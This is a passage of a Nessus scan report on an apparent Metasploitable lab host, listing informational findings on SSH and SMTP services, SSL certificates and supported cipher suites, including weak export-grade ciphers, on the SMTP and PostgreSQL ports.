## 25221 - Remote listeners enumeration (Linux / AIX)

### Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

### Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

### Plugin Output

tcp/56838/rpc-status

```
Process ID   : 3675
Executable   : /sbin/rpc.statd
Command line : /sbin/rpc.statd
```

## 202184 - Ruby Programming Language Installed (Linux)

### Synopsis

The Ruby programming language is installed on the remote Linux host.

### Description

The Ruby programming language is installed on the remote Linux host.

### See Also

https://ruby.org/en/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2024/07/11, Modified: 2025/09/11

### Plugin Output

tcp/0

```
  Path          : package: ruby1.8
                    1.8.6.111-2ubuntu1.3
  Version       : 1.8.6.111
  Managed by OS : True
```

## 10263 - SMTP Server Detection

### Synopsis

An SMTP server is listening on the remote port.

### Description

The remote host is running a mail (SMTP) server on this port.

Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it.

### Solution

Disable this service if you do not use it, or filter incoming traffic to this port.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0932 |

### Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

### Plugin Output

tcp/25/smtp

```
Remote SMTP server banner :

220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

## 42088 - SMTP Service STARTTLS Command Support

### Synopsis

The remote mail service supports encrypting traffic.

### Description

The remote SMTP service supports the use of the 'STARTTLS' command to switch from a cleartext to an encrypted communications channel.

### See Also

https://en.wikipedia.org/wiki/STARTTLS

https://tools.ietf.org/html/rfc2487

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/10/09, Modified: 2019/03/20

### Plugin Output

tcp/25/smtp

```

Here is the SMTP service's SSL certificate that Nessus was able to
collect after sending a 'STARTTLS' command :

------------------------------ snip ------------------------------
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

------------------------------ snip --------- [...]
```

## 70657 - SSH Algorithms and Languages Supported

### Synopsis

An SSH server is listening on this port.

### Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2013/10/28, Modified: 2025/01/20

### Plugin Output

tcp/22/ssh

```

Nessus negotiated the following encryption algorithm(s) with the server :

  Client to Server: aes256-ctr
  Server to Client: aes256-ctr

The server supports the following options for compression_algorithms_server_to_client :

  none
  zlib@openssh.com

The server supports the following options for mac_algorithms_client_to_server :

  hmac-md5
  hmac-md5-96
  hmac-ripemd160
  hmac-ripemd160@openssh.com
  hmac-sha1
  hmac-sha1-96
  umac-64@openssh.com

The server supports the following options for server_host_key_algorithms :

  ssh-dss
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server :

  3des-cbc
  aes128-cbc
```

```
    aes128-ctr
    aes192-cbc
    aes192-ctr
    aes256-cbc
    aes256-ctr
    arcfour
    arcfour128
    arcfour256
    blowfish-cbc
    cast128-cbc
    rijndael-cbc@lysator.liu.se

  The server supports the following options for mac_algorithms_server_to_client :

    hmac-md5
    hmac-md5-96
    hmac-ripemd160
    hmac-ripemd160@openssh.com
    hmac-sha1
    hmac-sha1-96
    umac-64@openssh.com

  The server supports the following options for kex_algorithms :

    diffie-hellman-group-exchange-sha1
    diffie-hellman-group-exchange-sha256
    diffie-hellman-group1-sha1
    diffie-hellman-group14-sha1

  The server supports the following options for compression_algorithms_client_to_server :

    none
    zlib@openssh.com

  The server supports the following options for encryption_algorithms_server_to_client :

    3des-cbc
    aes128-cbc
    aes128-ctr
    aes192-cbc
    aes192-ctr
    aes256-cbc
    aes256-ctr
    arcfour
    arcfour128
    arcfour256
    blowfish-cbc
    cast128-cbc
    rijndael-cbc@lysator.liu.se
```

## 149334 - SSH Password Authentication Accepted

### Synopsis

The SSH server on the remote host accepts password authentication.

### Description

The SSH server on the remote host accepts password authentication.

### See Also

https://tools.ietf.org/html/rfc4252#section-8

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

### Plugin Output

tcp/22/ssh

## 10881 - SSH Protocol Versions Supported

### Synopsis

A SSH server is running on the remote host.

### Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

### Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
```

## 90707 - SSH SCP Protocol Detection

### Synopsis

The remote host supports the SCP protocol over SSH.

### Description

The remote host supports the Secure Copy (SCP) protocol over SSH.

### See Also

https://en.wikipedia.org/wiki/Secure_copy

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2016/04/26, Modified: 2024/07/24

### Plugin Output

tcp/22/ssh

## 153588 - SSH SHA-1 HMAC Algorithms Enabled

### Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

### Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

### Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are
 supported :

  hmac-sha1
  hmac-sha1-96

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are
 supported :

  hmac-sha1
  hmac-sha1-96
```

# 10267 - SSH Server Type and Version Information

## Synopsis

An SSH server is listening on this port.

## Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

## Solution

n/a

## Risk Factor

None

## References

| | |
|---|---|
| XREF | IAVT:0001-T-0933 |

## Plugin Information

Published: 1999/10/12, Modified: 2024/07/24

## Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SSH supported authentication : publickey,password
```

## 56984 - SSL / TLS Versions Supported

### Synopsis

The remote service encrypts communications.

### Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/12/01, Modified: 2025/06/16

### Plugin Output

tcp/25/smtp

```
This port supports SSLv2/SSLv3/TLSv1.0.
```

## 56984 - SSL / TLS Versions Supported

### Synopsis

The remote service encrypts communications.

### Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/12/01, Modified: 2025/06/16

### Plugin Output

tcp/5432/postgresql

```
This port supports SSLv3/TLSv1.0.
```

## 45410 - SSL Certificate 'commonName' Mismatch

### Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

### Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

### Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

### Risk Factor

None

### Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

### Plugin Output

tcp/25/smtp

```
The host name known by Nessus is :

  metasploitable

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

## 45410 - SSL Certificate 'commonName' Mismatch

### Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

### Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

### Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

### Risk Factor

None

### Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

### Plugin Output

tcp/5432/postgresql

```

The host name known by Nessus is :

  metasploitable

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

## 10863 - SSL Certificate Information

### Synopsis

This plugin displays the SSL certificate.

### Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

### Plugin Output

tcp/25/smtp

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                     83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

## 10863 - SSL Certificate Information

### Synopsis

This plugin displays the SSL certificate.

### Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

### Plugin Output

tcp/5432/postgresql

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                     83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

## 70544 - SSL Cipher Block Chaining Cipher Suites Supported

### Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

### Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

### See Also

https://www.openssl.org/docs/manmaster/man1/ciphers.html

http://www.nessus.org/u?cc4a822a

https://www.openssl.org/~bodo/tls-cbc.txt

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

### Plugin Output

tcp/25/smtp

```
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-RC2-CBC-MD5               0x04, 0x00, 0x80 RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-EDH-RSA-DES-CBC-SHA       0x00, 0x14       DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA           0x00, 0x15       DH            RSA      DES-CBC(56)
 SHA1
    EXP-ADH-DES-CBC-SHA           0x00, 0x19       DH(512)       None     DES-CBC(40)
 SHA1      export
    ADH-DES-CBC-SHA               0x00, 0x1A       DH            None     DES-CBC(56)
 SHA1
```

```
   EXP-DES-CBC-SHA               0x00, 0x08       RSA(512)      RSA      DES-CBC(40)
SHA1      export
   EXP-RC2-CBC-MD5               0x00, 0x06       RSA(512)      RSA      RC2-CBC(40)            MD5
      export
   DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)
SHA1

 Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

   Name                          Code             KEX           Auth     Encryption             MAC
   ----------------------        ----------       ---           ----     ---------------------  ---
   DES-CBC3-MD5                  0x07, 0x00, 0xC0 RSA           RSA      3DES-CBC(168)          MD5
   EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
SHA1
   ADH-DES-CBC3-SHA              0x00, 0x1B       DH            None     3DES-CBC(168)
SHA1
   DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
SHA1

 High Strength Ciphers (>= 112-bit key)

   Name                          Code             KEX           Auth     Encryption             MAC
   ----------------------        ------- [...]
```

## 70544 - SSL Cipher Block Chaining Cipher Suites Supported

### Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

### Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

### See Also

https://www.openssl.org/docs/manmaster/man1/ciphers.html

http://www.nessus.org/u?cc4a822a

https://www.openssl.org/~bodo/tls-cbc.txt

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

### Plugin Output

tcp/5432/postgresql

```

Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA            0x00, 0x33       DH            RSA      AES-CBC(128)
 SHA1
```

```
     DHE-RSA-AES256-SHA            0x00, 0x39       DH            RSA      AES-CBC(256)
  SHA1
     AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)
  SHA1
     AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)
  SHA1

 The fields above are :

   {Tenable ciphername}
   {Cipher ID code}
   Kex={key exchange}
   Auth={authentication}
   Encrypt={symmetric encryption method}
   MAC={message authentication code}
   {export flag}
```

## 21643 - SSL Cipher Suites Supported

### Synopsis

The remote service encrypts communications using SSL.

### Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

### See Also

https://www.openssl.org/docs/man1.0.2/man1/ciphers.html

http://www.nessus.org/u?e17ffced

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2006/06/05, Modified: 2024/09/11

### Plugin Output

tcp/25/smtp

```
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-EDH-RSA-DES-CBC-SHA       0x00, 0x14       DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA           0x00, 0x15       DH            RSA      DES-CBC(56)
 SHA1
    EXP-ADH-DES-CBC-SHA           0x00, 0x19       DH(512)       None     DES-CBC(40)
 SHA1      export
    EXP-ADH-RC4-MD5               0x00, 0x17       DH(512)       None     RC4(40)                MD5
       export
    ADH-DES-CBC-SHA               0x00, 0x1A       DH            None     DES-CBC(56)
 SHA1
    EXP-DES-CBC-SHA               0x00, 0x08       RSA(512)      RSA      DES-CBC(40)
 SHA1      export
    EXP-RC2-CBC-MD5               0x00, 0x06       RSA(512)      RSA      RC2-CBC(40)            MD5
       export
```

```
   EXP-RC4-MD5                   0x00, 0x03       RSA(512)      RSA      RC4(40)                MD5
      export
   DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)
SHA1

 Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

   Name                          Code             KEX           Auth     Encryption             MAC
   ----------------------        ----------       ---           ----     ---------------------  ---
   EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
SHA1
   ADH-DES-CBC3-SHA              0x00, 0x1B       DH            None     3DES-CBC(168)
SHA1
   DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
SHA1

 High Strength Ciphers (>= 112-bit key)

   Name                          Code             KEX           Auth     [...]
```

## 21643 - SSL Cipher Suites Supported

### Synopsis

The remote service encrypts communications using SSL.

### Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

### See Also

https://www.openssl.org/docs/man1.0.2/man1/ciphers.html

http://www.nessus.org/u?e17ffced

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2006/06/05, Modified: 2024/09/11

### Plugin Output

tcp/5432/postgresql

```

Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA            0x00, 0x33       DH            RSA      AES-CBC(128)
 SHA1
    DHE-RSA-AES256-SHA            0x00, 0x39       DH            RSA      AES-CBC(256)
 SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)
 SHA1
```

```
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)
 SHA1
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)
 SHA1


SSL Version : SSLv3
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---      [...]
```

## 62563 - SSL Compression Methods Supported

### Synopsis

The remote service supports one or more compression methods for SSL connections.

### Description

This script detects which compression methods are supported by the remote service for SSL connections.

### See Also

http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml

https://tools.ietf.org/html/rfc3749

https://tools.ietf.org/html/rfc3943

https://tools.ietf.org/html/rfc5246

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

### Plugin Output

tcp/25/smtp

```

Nessus was able to confirm that the following compression method is
supported by the target :

  DEFLATE (0x01)
```

## 62563 - SSL Compression Methods Supported

### Synopsis

The remote service supports one or more compression methods for SSL connections.

### Description

This script detects which compression methods are supported by the remote service for SSL connections.

### See Also

http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml

https://tools.ietf.org/html/rfc3749

https://tools.ietf.org/html/rfc3943

https://tools.ietf.org/html/rfc5246

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

### Plugin Output

tcp/5432/postgresql

```
Nessus was able to confirm that the following compression method is
supported by the target :

  DEFLATE (0x01)
```

## 57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

### Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

### Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

### See Also

https://www.openssl.org/docs/manmaster/man1/ciphers.html

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

### Plugin Output

tcp/25/smtp

```

Here is the list of SSL PFS ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-EDH-RSA-DES-CBC-SHA       0x00, 0x14       DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA           0x00, 0x15       DH            RSA      DES-CBC(56)
 SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
```

```
  High Strength Ciphers (>= 112-bit key)

    Name                          Code              KEX           Auth     Encryption             MAC
    ----------------------        ----------        ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA            0x00, 0x33        DH            RSA      AES-CBC(128)
 SHA1
    DHE-RSA-AES256-SHA            0x00, 0x39        DH            RSA      AES-CBC(256)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

### Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

### Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

### See Also

https://www.openssl.org/docs/manmaster/man1/ciphers.html

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

### Plugin Output

tcp/5432/postgresql

```

Here is the list of SSL PFS ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA            0x00, 0x33       DH            RSA      AES-CBC(128)
 SHA1
    DHE-RSA-AES256-SHA            0x00, 0x39       DH            RSA      AES-CBC(256)
 SHA1
```

```
The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 51891 - SSL Session Resume Supported

### Synopsis

The remote host allows resuming SSL sessions.

### Description

This script detects whether a host allows resuming SSL sessions by performing a full SSL handshake to receive a session ID, and then reconnecting with the previously used session ID. If the server accepts the session ID in the second connection, the server maintains a cache of sessions that can be resumed.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/02/07, Modified: 2021/09/13

### Plugin Output

tcp/25/smtp

```

This port supports resuming SSLv3 sessions.
```

## 156899 - SSL/TLS Recommended Cipher Suites

### Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

### Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

TLSv1.3:

- 0x13,0x01 TLS13_AES_128_GCM_SHA256
- 0x13,0x02 TLS13_AES_256_GCM_SHA384
- 0x13,0x03 TLS13_CHACHA20_POLY1305_SHA256

TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

### See Also

https://wiki.mozilla.org/Security/Server_Side_TLS

https://ssl-config.mozilla.org/

### Solution

